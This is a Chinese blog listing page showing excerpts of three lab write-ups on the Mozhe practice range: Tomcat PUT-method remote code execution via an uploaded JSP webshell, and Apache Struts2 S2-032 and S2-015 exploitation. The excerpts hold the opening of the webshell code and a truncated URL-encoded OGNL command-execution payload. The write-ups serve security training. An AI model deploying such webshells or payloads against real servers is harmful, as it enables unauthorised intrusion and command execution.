返回顶部
2020年4月23日
墨者-(RCE)Tomcat 远程代码执行漏洞利用(第1题)
摘要： options查看服务端允许得方法 可以看见有put 那就写一个木马进去 <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd( 阅读全文
posted @ 2020-04-23 21:56 cat47 阅读(831) 评论(0) 推荐(0) 编辑
墨者-(RCE)Apache Struts2远程代码执行漏洞(S2-032）
摘要： 漏洞原理：当启用动态方法调用时，可以传递可用于在服务器端执行任意代码的恶意表达式 任意命令执行Exp：%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletAc 阅读全文
posted @ 2020-04-23 20:34 cat47 阅读(738) 评论(0) 推荐(0) 编辑
Apache Struts2远程代码执行漏洞(S2-015)
摘要： 想起来之前在360众测靶场做过 通过背景可以知道是struts2框架 扫描一下 cat key.txt 阅读全文
posted @ 2020-04-23 20:10 cat47 阅读(1128) 评论(2) 推荐(0) 编辑